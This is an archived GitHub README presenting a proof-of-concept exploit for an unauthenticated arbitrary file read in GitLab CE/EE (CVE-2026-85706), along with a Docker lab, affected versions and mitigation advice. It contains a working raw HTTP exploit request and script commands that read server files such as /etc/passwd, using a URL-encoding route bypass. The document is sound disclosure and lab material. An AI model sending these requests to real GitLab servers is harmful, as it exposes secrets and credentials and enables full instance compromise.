---
id: 8851
canonical_url: "https://phying.com/item/8851"
title: "GitLab CE/EE Unauthenticated Arbitrary File Read Exploit PoC (CVE-2026-85706)"
type: "vulnerability"
cve: "CVE-2026-85706"
cvss: 10
severity: "critical"
vendor: "GitLab"
product: "GitLab CE/EE"
affected_versions: "18.7 – 19.1.7, 19.2.0 – 19.2.5, 19.3.0 – 19.3.1"
source_domain: "github.com"
source_url: "https://github.com/EQSTLab/CVE-2026-85706"
published_at: "2026-09-28T05:17:40Z"
snapshot_at: "2026-10-26T05:50:00Z"
archived_by: "Phying News (https://phying.com/item/8851)"
lang: "en"
---

# CVE-2026-85706 GitLab unauthenticated arbitrary file read

*Author: EQSTLab · Source: [github.com/EQSTLab/CVE-2026-85706](https://github.com/EQSTLab/CVE-2026-85706)*

★ CVE-2026-85706 GitLab unauthenticated arbitrary file read PoC ★

## Overview

> **CVE-2026-85706** is an **unauthenticated arbitrary file read** in **GitLab CE/EE** (CVSS 10.0, CISA KEV) via `POST /api/v4/projects/:id/repository/commits`, whose body-upload helper runs **before `authenticate!`** and reads `params['file.path']` as an absolute path with no confinement.
> URL-encoding one char of `commits` → **`%63ommits`** makes GitLab-Workhorse miss the route (so it never overwrites `file.path`), while Rails still decodes `%63 → c` and routes to the handler — letting the attacker set `file.path` via the query string. With `Content-Type=application/x-www-form-urlencoded`, the helper re-parses the file content and a `%` not followed by two hex digits reflects that content in the `400` body (files without one give only a `401` read oracle). Requires at least one public project.

## Affected Versions

| Category | Version |
|---|---|
| **Vulnerable** | GitLab CE/EE **18.7 – 19.1.7, 19.2.0 – 19.2.5, 19.3.0 – 19.3.1** |
| **Patched** | **19.1.8 / 19.2.6 / 19.3.2** or later (2026-09-10) |

## Impact

- Unauthenticated arbitrary file read of any file readable by the GitLab service process.
- Disclosure of files whose content contains an invalid `%` (application logs, and configs/credentials that embed URL-encoded values) → recon + credential theft → **chaining to authenticated access / full instance compromise**.
- The read primitive reaches high-value files (`gitlab-secrets.json`, `database.yml`); note that purely hex/base64 files return only an existence oracle through the public `%` reflection channel (no invalid `%` byte to trigger the echo).
- The fix adds `authenticate!` ahead of the body-upload helper, so an unauthenticated request is refused before the file-read sink.

## Environment

Build and run the vulnerable GitLab CE. On boot, the seeder plants `/flag.txt` (with a trailing `%` leak trigger) and creates a **public project** `victim/public-app` (**project id 1**) so the commits API is reachable unauthenticated. First boot takes ~2–3 minutes.

```bash
docker build -t cve-2026-85706 .
docker run -d --name cve-2026-85706 --shm-size 256m -p 8088:80 cve-2026-85706

# wait until the seeder reports it is ready
docker exec cve-2026-85706 tail -n 20 /var/log/seed.log   # look for: [seed] SEED_DONE ...
```

The flag is a placeholder (`EQST{gitlab_cve_2026_85706_arbitrary_file_read}`). Set your own at run time without editing the image: `docker run -e FLAG='YOUR_FLAG' ... cve-2026-85706`.

| Precondition | State in this lab |
|---|---|
| GitLab 18.7 – 19.1.7 | 19.1.7-ce.0 |
| At least one public project (anon reaches the commits API) | `victim/public-app` (id 1), auto-created |
| `/api/v4/projects/:id/repository/commits` reachable unauthenticated | exposed |
| Flag on the server filesystem | `/flag.txt` (trailing `%` reflection trigger) |

## PoC

The exploit `gitlab_exploit.py` reads a file off the server with a single **unauthenticated** request, using the `%63ommits` Workhorse route bypass and the urlencoded re-parse error channel. Pick the file with `--read` (default `/flag.txt`).

```bash
# default: read /flag.txt and print the flag
python3 gitlab_exploit.py 172.17.0.2

# read any absolute path (content disclosed only if it contains an invalid '%')
python3 gitlab_exploit.py 172.17.0.2 --read /etc/passwd

# just confirm the sink is reachable
python3 gitlab_exploit.py 172.17.0.2 --check
```

Output:

```
[*] target   http://172.17.0.2
[*] endpoint /api/v4/projects/1/repository/%63ommits
[*] file.path /flag.txt
[+] arbitrary file read OK -> content of /flag.txt:
    EQST{gitlab_cve_2026_85706_arbitrary_file_read}%
[+] FLAG: EQST{gitlab_cve_2026_85706_arbitrary_file_read}
```

Options:
- `--read "<abs path>"` — absolute file path to read (default `/flag.txt`)
- `--project <id>` — public project id reachable unauthenticated (default `1`)
- `--check` — only confirm the file-read sink is reachable (expects `local file not present`)

Raw request (for Burp Repeater):

```http
POST /api/v4/projects/1/repository/%63ommits?file=&file.path=/flag.txt&file.size=1&Content-Type=application/x-www-form-urlencoded HTTP/1.1
Host: 172.17.0.2
Content-Length: 0
Connection: close
```

## Mitigation

- Upgrade GitLab to **19.1.8 / 19.2.6 / 19.3.2** or later.
- If you cannot upgrade immediately, block `POST`/`PUT` to `*/repository/commits*` and `*/repository/files*` at a proxy/WAF, and place the instance behind SSO / VPN / an IP allowlist.
- After patching: assume any file readable by the GitLab service (logs, configs, secrets) was exposed if the endpoint was internet-reachable — invalidate sessions and **rotate exposed credentials / secrets**.

---
> 📦 **Full-Text Markdown Snapshot** archived by [Phying News](https://phying.com/item/8851) · Original source: [github.com](https://github.com/EQSTLab/CVE-2026-85706)
